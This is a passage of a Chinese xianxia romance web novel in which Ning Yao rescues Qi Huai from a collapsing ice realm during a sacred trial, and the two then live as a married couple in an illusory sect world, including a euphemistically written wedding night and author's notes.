他声音低了下去:“我应承了族长,夺得圣子之位,他便告诉我一些往日,允我去山海渊外寻亲。” 祁淮伸手将她整个揽入怀中。 他的手臂收得很紧,下颌轻轻抵着她发顶,气息有些不稳,“你会一直信我的,对不对?” 那一刹那,宁瑶仿佛触碰到了坚硬外壳下猝不及防裂开的一隙脆弱。 这个平日看似危险又捉摸不定的少年,此刻竟像急于确认是否她的信任的幼兽。 “信。” 简单一个字,环抱着她的手臂轻轻一颤。 祁淮缓缓松开些许,低头看她。眼底积聚的阴郁像是被风吹散的雾,一点一点化开,露出底下晃动的光。 他张了张嘴,却半晌没发出声音。 宁瑶忽然翘起小指,递到他眼前,眼睛弯起:“按照我家乡的规矩,我们拉个钩,诺言就算钉死了,便是一百年都不准变。信我吗?” 信她吗? 祁淮怔怔地看着宁瑶伸出的白皙手指,不待迟疑,学着她的样子,笨拙地伸出自己的小指与她轻轻勾住。 “信。” 没想到祁淮这般没有犹豫,宁瑶反而错愕了一下。 “宁瑶会信祁淮。拉钩,上吊,一百年不会变。”她学着他微歪头一笑。 祁淮眼底最后的阴翳消散,视线专注地在笑颜上流转。 良久,他倾身凑近她,“好。” 祁淮忽的笑了笑,笑意鲜活,像是骤雨初霁后的第一缕光。 “铃铛拿好,我得去准备了。” 待祁淮的脚步声消失,宁瑶也没闲着,溜出了门,她得趁这机会四处打听打听。 没走几步,便瞧见个挎着竹篮的苗疆女子迎面而来,那女子身着黑底彩绣的短褂,目光落在宁瑶身上时忽地一亮。 于归云看到这小姑娘居然在打听祁淮,友善开口:“你就是阿淮带回来的那个姑娘?” 宁瑶还没点头,手腕便被攥住了。 “来来来,进屋里说。”于归云笑眯眯地将她拉进隔壁竹楼,竹门吱呀一声合上,“阿淮那孩子呀,头一回从山海渊外就带你回来。我这几天没收拾,你可别嫌乱。” 宁瑶被她按坐在竹椅上,还没坐稳,一盘红艳艳的果子就塞到了手里。 “叫我归云姐就好,”于归云挨着她坐下,“想打听阿淮什么事,尽管问。” 宁瑶捏着颗灵果,抿嘴笑了笑:“归云姐,我叫宁瑶,我想知道些祁淮从前的事。” 于归云闻言,顺手从笸箩里捞起一块绣了一半的帕子,针尖在布上游走着,回忆道:“阿淮他娘是咱们苗疆的人,十几年前回来时一身伤,这里人都猜怕是遇上负心汉了。” 她顿了顿,声音轻了些,“回来不到一年,孩子才三岁,人就没了。这些啊,也是听我爹那辈人念叨的。” 宁瑶托着腮,灵果在指尖转了一圈:“后来呢?” “总不能眼睁睁看着三岁娃饿死。” “族长、我爹、还有左邻右舍,这家给口饭,那家添件衣。祁淮性子独,成日往深山老林里钻,跟毒虫蛇蚁做伴,在炼蛊上天赋惊人,看过一遍的书就能倒背,十四岁那年,便夺得圣子之位。” 她说罢,抬眼看了看宁瑶,语气里多了几分认真:“宁姑娘,你是阿淮的客人,我才多句嘴。那孩子心思深,性子又冷,可不是什么会疼人的。” 冷?不会疼人? 宁瑶脑海里瞬间闪过某些画面:夜里悄悄缠过来的手臂,趁她不留神啄在嘴角偷来的吻,还有那份不管怎样先把你带来苗疆、怕她赶走的执着。 她噗嗤笑出声,看向于归云道:“归云姐,祁淮不是那样的人。” 于归云捏针的手顿了顿。 “他待我极好,他也特别好。” 于归云凝视她片刻,她低下头继续绣花,嘴角却弯了起来:“那宁姑娘打听这些,是想……” 宁瑶坐直身子,“我想能帮到他。” “再往前的事,怕只有老族长才清楚些,可不一定好问。” “无妨,日子还长,我可以慢慢来。对了归云姐,可有祁淮阿娘的画像?” “这倒没留意,我替你问问族长。” “多谢归云姐。”宁瑶起身告辞,回了祁淮的竹楼。 窗台上的几盆花草蔫蔫的,她拎起竹筒,细细浇了一圈水。 忽听得传来银铃轻响。 叮铃,叮铃。 宁瑶没有回头,唇角却不由自主地扬了起来。 祁淮回来了。 * 往后几日,皆是如此。 宁瑶在外奔走,替祁淮搜寻着家人线索。 她每多找到一丝痕迹,便能传信给左长泽,托他调动人手顺着线索继续往下追查。 她看着又一只传信千纸鹤离开,数着日子,也快到圣祭了。 日子悄然至圣祭这一日。 天幕刚蒙蒙亮,晨光稀薄。 宁瑶偷偷将备好的储物袋里递给整装待发的祁淮,他手臂盘着怪怪还乖巧地歪头往他后侧避开,一个怕吓到她的小动作。 “我备齐的储物袋,或许对你有用,拿着吧。” 祁淮接过掂了掂,眼底凝聚起一点微光,落在宁瑶的笑颜上。 “备了这么多?”他声音透着讶异,眼神却亮起。 “当然啦,有备无患嘛。” 宁瑶有些得意地没说下去,她不仅准备了常用物件,还特地请教了归云姐,备下了蛊虫所需的草料与鲜肉,一并放了进去。 祁淮将储物袋仔细贴身收好,抬眸定定地瞧着她,眼神细细描摹,似将她的音容笑貌清清楚楚印刻进脑海。 “等我。” 他一定会活着回来见小猫的。 第68章 祁淮身影推门远去,宁瑶悄然换了装扮,色彩鲜丽的苗疆服饰上身,悄无声息地混入了人群。 圣祭的排场极大,热闹非凡。 五彩织锦的旗幡在风中舒卷,叫卖声、谈笑声、器乐声等一齐沸反盈天。 中央处搭起的高台上,仅有一把座椅虚位以待。 苗疆比试不同于修仙界的擂台斗法,场地最显眼处,悬浮着一枚古朴的戒子珠。 珠内自成一方冰雪小天地,那是最克制蛊虫的极寒之境,亦是此番比试的战场。 护城将军玉溪锦巡视,一眼瞥见人群中的宁瑶,眉头当即蹙起。吩咐手下继续巡查,自己大步走到她跟前。 “宁姑娘,”他声音压着不快,“你怎在此处?” “来看热闹呀。” “祁淮允你来的?” “腿长在我身上,何需祁淮允?我可翻过典仪册子,没写着不许外族人旁观。”宁瑶压下一抹心虚,答的头头是道。 玉溪锦被这话一堵,瞥她一眼:“牙尖嘴利。” “好说。”宁瑶抿唇压下惯常上扬的唇角,目光仍扫视周遭。 她心知祁淮多半早察觉了她的小动作,只是怎地绕了一圈,仍不见他踪影。 “祁淮人呢?”宁瑶索性直问道。 玉溪锦冷哼一声,朝那戒子珠方向扬了扬下巴,他语气微沉:“圣子需亲迎每一位挑战者。他早已入场候着了。” 戒子珠表面流光微转,隐约映出内部冰天雪地的一隅。 里面有一道孤拔却模糊的背影。 “原来如此。”宁瑶望着那缕人影。 参赛者足有百来人,可无一例外,进去不过一炷香的工夫,就全祁淮制敌后狼狈地踹了出来。 宁瑶忍不住握紧拳头,悄悄为祁淮松了口气。 比试临近尾声,芥子空间忽然“咔嚓”一声,从中裂开一道缝隙。 惊得在场苗疆人皆是难以置信。 空间内剧烈晃动,地动山摇间,茫茫雪崩陡然倾泻,眨眼便将祁淮的身影吞没。 她心脏猛地一揪,耳边嗡鸣炸开。 宁瑶顾不上了什么,拨开前方骚动的人群,扑到最前沿。 负责维持秩序的玉溪锦正紧蹙眉头,扬声高喊:“后退!所有人速速后退!” 宁瑶逆着人流扯住他的袖子,声音带着颤:“怎么进去?求你,快告诉我!” 玉溪锦反手拦住她,急促道:“这是上古遗留的芥子空间,岂是你能乱闯的?进去就是白白送命。” 少女抬起头,字字清晰:“让我进去。生死我自负,不劳你挂心。” 玉溪锦看着眼前人。 本以为她是祁淮那疯子用情蛊“骗”回来的姑娘,可不知从何时起,这牵挂早已挣脱了蛊术的束缚,真切得连宁瑶她自己都未曾察觉。 玉溪锦牙关一咬,一枚冰凉令牌递给她:“好,我助你进去,这枚令牌可开启赛场出口。记住,找到人立刻返回。空间深处有上古蛊神留下的凶煞幻境,历来有进无出。你,千万珍重。” “多谢。” 不等话音落下,玉溪锦已运转法力,硬生生在芥子空间上打开一道缝隙。 宁瑶眸色一凛,趁隙闪身而入,眼底满是决然。 风雪刮骨般肆虐,宁瑶身上的法衣与运转的火灵气体勉强隔开风雪,却挡不住那无孔不入的寒意。 这赛事场地竟艰难至此,可祁淮此前应付挑战者时,分明那般游刃有余。 宁瑶喉间发堵,胸口像被雪团闷住,又沉又涩。 她已替他寻亲,祁淮为何还要来闯这险地? 她深吸一口寒气,拢着手在呼啸的风雪中呼喊:“祁淮,祁淮——”“祁淮,你究竟在哪儿?” 回答她的只有风雪的呜咽。 心头一紧,某种预感攥住了她。 情缠蛊,对,用蛊虫感应。 可这鬼地方竟压制灵力运转。 宁瑶一咬牙,拔下发间簪子,毫不犹豫地在掌心一划,借着一缕血中灵气强行催动蛊虫。 风雪几乎将她掀翻,宁瑶一次次踉跄跌倒,手脚并用地爬起,凭着微弱的感应深一脚浅一脚地追寻。 终于,在一片看似平整的雪坡前停下了。 感应最为强烈的就是这里。 这雪层坚硬,不知底下多深。 宁瑶强迫自己定神,将火灵之气聚在双手,不顾一切地向雪中挖去。 “祁淮。” 她不沾阳春水的指尖被冰碴与硬雪割破,殷红血珠滴落,在莹白中上开出刺目的花。 十指连心的疼痛传来,宁瑶被冻得几乎麻木,指尖忽的触到一衣料,她死死盯着,扒开周围的积雪,直到祁淮安静的面容露了出来。 颤抖着手去探鼻息,好在有一丝微弱的气流。 “祁淮。” 祁淮静静躺着,浑身冰凉。那种冷并非平日身体的微凉,而是一种毫无生气的寒意。 宁瑶眼尾压制不住红。 她忙把祁淮半扶起,一边运起周身所剩的灵力,化作微光笼住,竭力为他驱寒挡风。一边摸出怀中令牌,辨明方向。 咬了咬牙,背起沉重的身躯,一步步迈向回路。 “祁淮,别睡。” “情缠蛊还没解呢,你听见我说的话了吗?” “祁淮……” 背上的身躯越来越沉,气息愈发微弱,可她颈后的蛊印却越发灼热。 宁瑶想起玉溪锦的话。 情缠蛊连,寿数同享。 她决不能让祁淮死在这里。 宁瑶心一横,强行引动情缠蛊,凑近时,呼吸不由得一滞,眼一闭主动将唇印了上了祁淮的唇。 灵气渡去,依照灵修之法缓缓运转。 她脸颊滚烫,热度未退,可看着祁淮苍白昳丽的样子,那一点羞赧立刻被压了下去。非但没退,反而更深入地吻住了祁淮。 起初,两股灵气只是试探般若即若离,随即便似认主归家般轻车熟路地交融在一处。 怎么会这般…… 宁瑶来不及深思,这温热的暖流裹挟着彼此交融的灵气,淌过四肢百骸。 她莹白的耳廓染上绯红,颈后情缠蛊隐隐催生出一股令她心慌的……贪求。 宁瑶咬唇,连忙定了定神分开。祁淮面上果然恢复了些许血色,不由松了口气。 可未等宁瑶缓过神,天穹下的风雪骤然暴烈,朝他们扑来。 宁瑶想也未想,转身将祁淮紧紧护在怀里。 莫名的昏沉如潮袭来,宁瑶强撑着不让自己合上眼。 她恍惚间,对上了一双不知何时睁开的深邃眼眸。 那眸中雾气未散,下意识地追逐她泛着水光的,退开的柔软,本能地、克制地在宁瑶唇上落下一吻。 叮铃…… 她腕间鹅黄色的小铃铛急促轻响。 与此同时,祁淮的手攥紧了从不离身的另一只铃铛。 宁瑶本是想笑一笑祁淮总算醒了,嘴唇微动,终是脱力软软倒在他怀中。 祁淮的意识只清醒了这短暂的一瞬,昏睡亦如潮水般淹没了他。 茫茫风雪,一道柔光闪烁,两人相拥的身影消散在原地。 * 春光明媚,清风拂过。 小山头上静静立着个不大的宗门——即云宗。 今日,这小宗门里外张灯结彩,一片喜气洋洋的红。 阳光斜斜探入,落在眼皮上。 宁瑶迷迷糊糊是被耳畔一声接一声的轻唤吵醒的。 “瑶瑶,醒醒,快醒醒呀。” 宁瑶撑开眼皮,视线还未清晰,耳边满是窸窸窣窣的脚步声。扫了眼四周,她顿时愣住。 满目大红锦缎,鸳鸯成双,这分明是一间精心布置的婚房。 守在床边的女子见她睁眼,长舒一口气,语速快得像倒豆子:“可算醒了!睡这般沉,忘了今日是什么日子啦?掌门疼你,允了一门顶好的亲事,那位郎君不计较你……呃,不计较你身子骨弱,自愿入赘咱们宗呢。” 宁瑶恍惚地揉了揉额角。 奇怪,总觉得好像忘了什么要紧的事。 “虽说咱们即云宗门楣不高,可掌门是真心替你打算。招个入赘的夫婿,便是倒插门的道侣,该有的礼数、排场,一样都没短你的。” 宁瑶顺从地点点头,目光四下流转。 屋内陈设样样熟悉,仿佛她只是寻常睡了一觉。 “露露,”宁瑶捏了捏眉心,“现在是什么时辰了?” “差点忘了,快起了,可耽搁不得良辰。”名叫露露的姑娘一把将她拉起来,“快些收拾,该去拜堂了。” 宁瑶几乎是被露露按在妆台前的,描眉、敷粉、点唇,铜镜里渐渐映出一张身着大红喜服的面庞。 还是她自己的模样。 心里没来由地嘀咕,怎么会觉得“还是自己”? 没容宁瑶细想,流苏的喜帕已落下遮了眸光。 宁瑶被露露搀着,晕乎乎地跟着流程走。 直至一只手掌伸来,稳稳牵住她的手。 那手骨节分明,漂亮是漂亮,只是温度透着一股异样的微凉。 她跟着他三拜天地高堂,一套礼节下来,才终于被引着在喜床边坐下,能够悄悄喘口气。 一道目光直勾勾地落在她身上,隔着喜帕也如有实质。 宁瑶正疑惑这人怎的一言不发,忽觉眼前一亮。 一喜杆轻轻挑开了鲜红遮挡,宁瑶下意识抬眸。 眼前人玉冠束发,一身同款喜袍,生得俊美无俦,眉眼唇鼻无一不精,甚至昳丽得有些雌雄莫辨。 宁瑶心头莫名一跳。 这人好像在哪儿见过?可她怎么也想不起来。 “不知可否,唤你一声夫人?”他嗓音清润,倒是好听。 她脸颊微红,“可我与你不过见了几面……” 就算是爹爹为她寻的入赘夫君,这进展是否也太快了? 宁瑶抬眸,撞进一双深邃眼里。那眸子极深,对上视线时亮得惊人,像藏起了两簇幽火。 祁淮浅笑将合衾酒递到她手中。 “虽仅数面,”他笑意渐深,“但你我之缘,天定早成。我欢喜夫人,已久了。” “我记得你叫祁淮,难不成第一次见面你就……”宁瑶接过,揶揄着打趣看他。 “是啊。” 宁瑶后半句噎在喉间,面颊顿时烫得厉害。 “夫人可否也唤我一声?” 宁瑶努了努嘴角,半晌才说道:“夫、夫君。” 祁淮瞧着她从脸颊红到耳根,微歪了头低笑着,“嗯。” 他的笑声这般钻进耳朵,莫名让人耳尖发痒。 宁瑶被他笑得不好意思,揉了揉耳垂。 这人说这般直白话,不懂迂回。不过模样倒真是她喜欢的,爹爹挑人的眼光何时这么毒了? 两人臂弯自然地绕过彼此,共饮杯中酒。 酒液微辣,滑入喉间。 宁瑶没瞧见,身侧人垂眸饮酒时,那目光依旧牢牢锁在她侧脸,温柔深处是贪恋的占有,与得偿所愿的欢愉。 宁瑶原以为自己酒量尚可,哪知身体如此不济。饮尽一杯,热意窜上脸颊,晕开桃花似的绯红。 “可要歇息,夫人?”祁淮眸子跳动着欢愉的光。 宁瑶晕乎乎地点了下头,“好呀。”说完她就要自顾自躺下去歇息,独留祁淮一人。 祁淮眸光一眨不眨,牵过她的手腕,另一闲手扫开硌人的红枣花生,扶着她的腰让她躺下。 “夫人……” 被他这般看着,宁瑶被他看的有些欢喜,指尖轻轻落在他脸颊上的两颗小痣。 “你真好看。” “夫人,可喜欢?”祁淮低低一笑,指尖扣在她手腕上,刻意压低的嗓音仿佛在诱哄着她继续往下说。 “喜欢。”宁瑶连连点头。 心跳如擂,她好清晰听到自己心底一阵阵回响,像揣着一只活泼好动小兔子。 这熟悉的,被压制的悸动再不受控,宁瑶瞧着他,重申道:“喜欢。” 祁淮克制理智如紧绷的弦,寸寸崩断。他的指尖轻柔解开她满头发饰,齐齐丢落床榻之下。 他俯身贴近,极轻地吻落在她唇上。 作者有话说:下一章[狗头叼玫瑰]咳咳 第69章 宁瑶被猛地吻住,整个人懵了一瞬,下意识眨了眨眼,含糊从齿缝挤出一个字:“唔,你……” “讨厌?”祁淮故意把嗓音压得低低的。 宁瑶抿着唇摇头,醉意让反应慢了半拍,“不讨厌。” 可心里浮起一层疑惑。 这感觉太过熟悉,她仿佛在哪儿经历过。 宁瑶正努力回想究竟忘了什么,一抬眼,撞进祁淮那双把人魂魄勾去的暧昧眼神中。 罢了,无论忘记什么,眼前这个笑得惑人的夫君,却是实实在在的。 “夫人,”祁淮凑近了些,微凉的气息拂过她耳尖,“若是不适,便唤我‘夫君’,我便会很轻的。” 气息掠过她的皮肤,激起一阵细密的战栗。 他身上危险的气息搅得脑袋成了一团,她晕乎乎点头:“好。” 祁淮低笑一声,抬手随意扯落床柱上那根紫粉色的系带。浅黄色的床幔应声垂下,将两人笼进一片朦胧的光晕里。 宁瑶被揽进怀中,睁开一双妍丽的眸,里头盛着紧张,也藏不住几分新奇,“夫君。” 这一声轻唤如火星落进干柴。 祁淮的吻细密地落了下来,呼吸交缠间,宁瑶忘了喘气,直到憋得闷哼一声,才被那人带着笑意声音打断。 “得学会换气啊,夫人。” “可我不会。”宁瑶微微气喘,唇上嫣红的口脂早已晕开,湿漉漉地沾了些在祁淮唇上。 她瞧见那一抹靡艳的红,下意识伸出手,指尖轻碰了碰他的唇角一点点地蹭掉。 祁淮眸色深了深,却只浅笑着捉住她的手指,不轻不重地捏了捏,末了竟低头在那指尖上咬了一下。 “无妨,夫君教你。” 宁瑶被那细微的刺痛惹得轻吸口气,迟钝的脑子念头一闪。她凑近些,小声问:“你怎的这么会?” “自然是下了苦功,”祁淮的唇几乎贴着她唇瓣,四目相对,他唇角上扬,“好让夫人牢牢记住,何为春宵一刻。” 宁瑶脸颊抑制不住地烧起来,烫得不像自己的。 她想定是合卺酒有问题,也绝不肯承认是自己紧张得失了分寸。 以至于当祁淮牵着她的手,引向那繁复婚服的系带时,她指尖颤得厉害,几乎抓不稳。 她指尖似有若无的剐蹭哪怕并非刻意,也让祁淮绷紧了身躯,闷哼着向前倾压了几分。 烛火透过纱幔,映着祁淮松敞的里衣下紧实的腰腹。 宁瑶目光一愣,忘了挪开。 待反应来,祁淮早已将她的失神尽收眼底。 “夫人。”祁淮嗓音里轻笑,指尖拂过她的鬓角,“喜欢么?” 宁瑶被他问得耳热,匆忙点头:“嗯。” 她点完头才醒神,等等,这人是自己的夫君呀。 转念这么一想,宁瑶心底那点羞赧散了些,反倒理直气壮起来。 祁淮眼底掠过一丝细微的暗光,狡黠暗笑,牵起她的手引着她贴了上去,游走在线条之间。 起初宁瑶害羞,僵硬着手指,任由他的牵引,后来她便沿着腹肌的线条摸了一下,甚至好奇地按了按。 ——皮肤硬邦邦的,绷着蓄势待发的力道。 随即她发现,祁淮的耳尖竟漫上了一层薄红。 他的反应新鲜得很。 宁瑶正想凑近细看,呼吸忽然被攫取。 祁淮再克制不了,更带着几分失控的急切吻住了她,两件繁琐的婚服被直接扔到了地上。 微凉的空气激得宁瑶身形轻颤,下意识往祁淮怀里缩了一下,抬眸看向他。 正中祁淮下怀,亢奋地欢愉几乎化作实质。 他身上原本的微凉此刻化作愈发烫的热意,似烧着一团暗火。 他顺势收紧了手臂,眸中情意几乎要将宁瑶浸没。 宁瑶并不怕,只觉得浑身都热,连思绪也融成了暖融融的一团。 唇舌被他衔着轻吮,卷起她的丁香上下翻涌,她整个人软绵绵地挂在了他臂弯里。 交织的呼吸声,水声,仿佛是催动全身回应的信号。 她生涩地模仿着。 这举动彻底点燃了祁淮。 他吻着她颈侧,一声细细呜咽,转而含住她耳垂,不轻不重地咬了一下。 宁瑶哪受过这般刺激,呼吸一急促,痒得去推祁淮肩头。 她力道软得像猫儿挠,反倒引得他低笑,唇般流连。 莹白的晃眼,祁淮落下属于自己的印记,茱萸轻颤。 宁瑶眼里漫起水汽,模糊望向他。 他极尽耐心,灵力随着身体的接触交汇其中。 宁瑶从未有过这种感觉。 可他极为温柔,安抚地亲了亲她的脸颊。瞧着她面染桃晕,方如蛟龙入渊,搅乱一池春水。 “怎么,这这么……”宁瑶语不成调,羞得说不出那个词,干脆一口咬在他肩头。 祁淮却停下,倒是一派耐心待宁瑶喘息稍稳,引着她的柔荑环上自己脖颈,吻上去把她的低喘都吞入自己腹中。 他的额贴着她汗湿的额,声音喑哑带笑,似诱似叹:“别怕,你我可是名正言顺的夫妻。” 这一句重申仿佛一股电流,打开洪闸一般,酥酥麻麻窜便全身。 宁瑶话头又被堵了,唇齿在此溢出的是对祁淮来说更动听的声音。 喜烛火光轻爆,满室春意愈浓。 他沿着唇落下的痕迹,身形下移,扶着修长白皙的双腿搭落在臂弯。 “怎么哭的和小猫似的……” 宁瑶咽咽了一声,“不、不许……乱说。” 完全忽视不了想到祁淮的存在,宁瑶指尖蜷紧,双脚根本不着力,只能依托祁淮。 她小声道:“脏死了。” 祁淮吹了一口气,低头有彼此。 “不脏。” 待声音喑哑着短促落下最后旋律,已是早晨春光斜入屋内。 宁瑶昏昏沉沉倒在他怀里。 祁淮打横抱起她,摸了摸她汗湿的脸颊,亲昵地蹭了蹭她的肩胛骨,“为夫替夫人沐浴更衣。” 只要接受夫君设定,一切都好像可以顺理成章了。 奈何宁瑶仍是脸颊有未散热意,她嗓子都没了声音,只能小声嘟囔:“我自己可以。” “夫人确定可以?”他一边往屏风后转去,一边低笑而问。 宁瑶嘴唇嗫嚅两下。 此刻只觉得双腿酸软得不像自己的,连指尖都懒得动了。 她发烫的脸颊往他颈窝里埋得更深,闷声道:“那夫君来。” “那日后都由我来替夫人净身更衣,可好?”祁淮得寸进尺地凑近,低声轻笑。 宁瑶疲惫阖上的眼倏地睁开一条缝,“日日?” “自然。”祁淮答得理直气壮,满是餍足的欢愉压根藏不住。 祁淮备好了浴桶,虽不大可容纳两人。 但祁淮只将她放下,细致地为宁瑶清理完。又打横再将她抱回榻上,宁瑶昏沉沉地陷入收拾干净、松软的锦被。 她无法忽视祁淮强烈的存在感,刚翻了身,身后胸膛贴上来,手臂自然而然地环住她的腰。 宁瑶实在没力气挣扎,寻了个舒服的姿势,便沉沉睡去。 再睁眼,他们睡到日上三竿。 宁瑶微微抬眸,便撞见一张近在咫尺的睡颜。 祁淮长睫在眼下投了浅浅阴翳,显出罕见的恬静俊朗,与昨夜妖精般的人儿完全不一样。 宁瑶动了动,发觉浑身清爽,唯有腰间残留着昨夜的细微酸胀。 她刚想挪开些,环在腰上的手臂便是一紧。 祁淮眼睫颤动,缓缓睁开眼。 四目相对,宁瑶喉间发干,一时不知该说什么,未开口先咳了一声。 “夫人要喝水?”祁淮撑坐起身,松垮的寝衣领口滑开些许,露出锁骨处几道清晰的咬痕。 “嗯。”宁瑶脸颊一热,下意识往被子里缩了缩,假装翻身躲开他灼热的视线。 ——昨晚她下的口,好像确实没怎么留情。 他的脚步声去而复返。 祁淮坐回床沿,长臂一揽,连人带被将她搂起,靠在自己怀中。温水递到唇边,宁瑶伸手想接,却被他轻轻避开。 “我来。” 宁瑶只好就着他的手小口啜饮,唇瓣渐染上一层水光,诱人至极。 祁淮垂眸看着,眼底暗色无声流转。 宁瑶刚放下水杯,唇上便是一热。 她喝完,紧接着祁淮倾身啄吻,舌尖掠过她湿润的唇角。 他没立刻退开,气息拂过她的面颊肌肤,带来细微的酥麻。 宁瑶出神眨了眨眼,呼吸在他贴近的瞬间一滞,待他稍稍撤离,才找回声音:“你现在做得好自然。” “自然,我们是夫妻呀。”祁淮轻笑,指尖将她鬓边碎发拢到耳后。 宁瑶心头莫名浮起一层似曾相识的恍惚。 她一时捉不住异样,点了点头,目光落回他近在咫尺的眼下。 那里有两颗并排的小痣,颜色浅淡。 她伸手指尖轻轻点在两颗小痣上,“我总觉得,好像在哪里见过。” 祁淮唇角微弯,掩饰着眼底贪恋,用脸颊贴蹭一下她的脸颊:“哦?在哪儿见过?” 宁瑶憋了好一会儿,才小声嘟囔:“梦里。” 说完抬眼偷瞄他,生怕看见戏谑。 可那双眸子正专注地凝望着她,里面没有半分嘲笑。 他微凉手掌覆上她的手背,将她的指尖更安稳地按在自己的脸颊。 看似是被他禁锢,实则是他掌心将她整只手覆盖其中。 “夫人梦里有我,倒真是不错。” 宁瑶没忍住笑出声,“哦?万一是其他人了。” 祁淮故意佯装无辜可怜地眨了眨眼,“那夫人可要答应我,只有我一个。” 何时见过祁淮露出这般眼神,昨晚占有性的眼神将她吞吃入腹,此刻仿佛像只可怜小兽。 她心口悸动又窜了上来,她忙垂下头去抿住唇角,却压不住上翘的弧度,“好,只有你。” 两人依偎着温存了片刻,宁瑶总算彻底醒神,“该起身了,再赖下去,师兄师姐们不知要怎么笑话我了。” 祁淮不紧不慢地起身,自然而然地取过衣裳替她穿戴,又绕到身后为她梳理长发。 “谁敢笑?告诉我,我自有法子叫他往后再笑不出。” 宁瑶听出他话里护短的意思,更没想到这位入赘的夫君连女子发髻都会挽,顿时眉眼弯了弯。 见过掌门爹爹时,林晏拉着女儿的手细瞧,见她气色红润,稍稍放心,却仍板着脸道:“若是祁淮待你不好,定要告诉爹爹。” “他待我极好。” 宁瑶忍不住脸颊微热,她本是对这爹爹感觉陌生,可此刻被关切眼神瞧着,胸腔里自发涌起亲近的暖意。 又陪着林晏说了会儿话,临告辞,宁瑶只顾着回头摆手,没留意脚下门槛。 身旁的祁淮伸出手,稳稳牵住她,引着她一步跨了过去。 林晏看着两人相携离去的背影,祁淮细致姿态,眼中最后的疑虑消散了,捋须微微颔首。 自家孩子虽说天赋平平,修为难有寸进,但在这妖魔环伺的世道里,能有这样一位道侣护着,两人稳稳当当地走下去就足够了。 祁淮牵着宁瑶走远,在旁人再也看不见的角度,侧眸目光专注,捏了捏她的指尖,“夫人,往后有我。” “好啊。”宁瑶对上他视线,笑靥如花。 有祁淮这样呵护自己无微不至的夫君,日子虽平淡但实在踏实温馨。 祁淮在她的小院里扎了个结实的秋千,种了一棵玉兰树,一棵桂花树,还将墙角种满她喜爱的向日葵、夕颜花。 祁淮对侍弄花草极为在行。 哪怕是她养得半死不活的花,只要祁淮觉得还能活成,出了手,便能给她的花养的极好,可谓是“起死回生”。 她每次路过那花圃,看得啧啧称奇。 此刻她坐在软垫,窝在秋千上,有一搭没一搭地晃着。 她端着玉盘,咬一口祁淮切好的灵果,目光追随院内练剑的身影移不开。 深蓝色人影挟着剑锋流转,带来微凉的气流,身形轻盈矫健,一招一式皆是力量感十足。 她看着他俊朗的容颜,行云流水的动作入了神,直到那人收势回鞘,带着不可忽视的气息靠近,她才恍然仰起脸。 宁瑶啪啪鼓起掌来,笑着掩饰自己刚刚的举动,“厉害厉害,夫君来尝一块。” 祁淮弯身与她平视,嘴角噙着笑吃下她递来的果块:“夫人看的出神,想不想学?” 宁瑶本想摇头,她这副身子资质平平,练剑只怕会闹笑话。 可对上祁淮的眸,话到嘴边却变成了乖乖点头。 他牵着她的手起身,自后方贴近,手臂环过她腰际,掌心妥帖地扶稳她的手腕,“夫人今日若能学会这招‘拈花’,为夫有奖励。” 宁瑶耳根微热,故意晃了晃手腕:“什么奖励?先说好,若是……什么可怕的,我可不要。” 身后传来一声极轻的、闷闷的笑。 作者有话说:这个副本我要努力写的香香的,让我的读者大老爷们吃饱~ps:2026年想尝试一本现言,等我手搓一本挂上去[让我康康] 第70章 宁瑶被他笑得耳根发热,忙摆开架势,“那我可要期待着瞧瞧看,你这奖励究竟是什么。” 祁淮指尖轻抵她关节,气息似不经意拂过她敏感的耳后,“这儿用力。” 她本还有些着急惦记着,毕竟这人吊起她的胃口。可祁淮声音此刻太轻,还好听,听得耳朵都仿佛要晕晕乎乎,像羽毛搔了一下。 待宁瑶终于将那式“拈花”学得形神兼备,她转身笑盈盈看去,“奖励呢?” 祁淮负手倾身,“夫人……这个,得到夜里才能说。” “故弄玄虚。”她撇撇嘴,忍不住凑近跟在他一旁,“夫君,就透一丝丝?” 祁淮故作神秘地摇头,挑眉一笑而不语。 好不容易待夜幕初垂,祁淮神秘兮兮地牵着她,一截软纱覆上双眼。 “这是去哪?” “信我吗?” “相信。”宁瑶颔首。 祁淮微歪头一笑,牵着她踏上即云宗最高处。一解开软纱,万千星辰正点缀在天幕,烟火“倏”地绽开,碎光如雨,短促而美丽。 宁瑶仰头看得出神,侧脸问他:“这便是奖励?” “不,是借这烟火,向夫人讨个笑。” 流萤自祁淮袖中纷扬而起,映亮那一双漂亮妍丽带笑的眼。 “流萤。”光点翩跹环绕,宁瑶重重点头,伸出指尖一只正落下。 真想定格在这一幕。 宁瑶这一趟玩得尽兴,倦意上涌,忍不住倚着他笔直的身形。 祁淮瞧见,挥手散去萤光,扶着她的肩膀,“夫人,我们归家罢。” “家”字被祁淮咬在唇齿间时,温存着莫名缠绵缱倦。 宁瑶笑轻应了声,那人已在她面前半蹲下来,“上来。” 宁瑶耳尖微红,伏上他背脊。他稳稳托住她,月色铺满石阶,他走的四平八稳,一步步往山下住处走去。 她手臂环着他脖颈,气息几乎都吐落在他耳畔,“怎不御剑?” “这样便能同夫人多待片刻。”祁淮感知着宁瑶的体温正透过紧贴后背的衣料传来,那不可忽视的柔软磨蹭,他顿生渴意,宁瑶把发烫的脸埋在他肩后,“话都教你说了。” “那夫人只管抱稳。” 祁淮嘴角噙着一丝暗笑,眼底藏起逗弄的小恶劣。忽地将她身子轻轻往上一掂,惊得宁瑶紧了紧手臂。 “夫君!” 祁淮低笑声传来,“坐稳了。” 他只是觉得太安静了,他只希望宁瑶和他有说不完的话。 宁瑶笑着锤了他肩头一下,这才又搂紧些,偏头靠在他肩窝,呼吸渐匀。 “夫君,我困了……” 祁淮脚步放得又平又稳,托着她的手臂收紧了些。 “睡吧,夫人。” 夜半山径常遇三五结伴而归的修炼弟子,祁淮悄无声息背着宁瑶在几人后头几丈远,脚步比猫还轻,前头的几人浑然未觉。 那几人正聊得兴起,话音随风飘过来,不知怎的就拐到了他们道侣身上。 “宁师妹和他简直形影不离,说是道侣,我看连根鸡毛都插不进去,真叫人眼热。” “这你可羡慕不来。听闻宁师妹的道侣是自己寻上门来,心甘情愿入赘的。” “竟有此事……” 祁淮侧耳听了听背上宁瑶均匀绵长的呼吸,确认她睡着,那几句“形影不离”“心甘情愿”飘进耳中,他唇角不自觉弯起一点细小的弧度。 “羡慕顶什么用?咱们宗门这般又小又破。” 一道截然不同的嗓音打断了闲聊,那位师兄刻意拖长了调子,叹得抑扬顿挫:“宁师妹身子骨弱,修为全靠丹药堆到筑基。道侣再强,相伴又能有几载?” “待百年后师妹香消玉殒,这道侣缘分嘛,不就……” 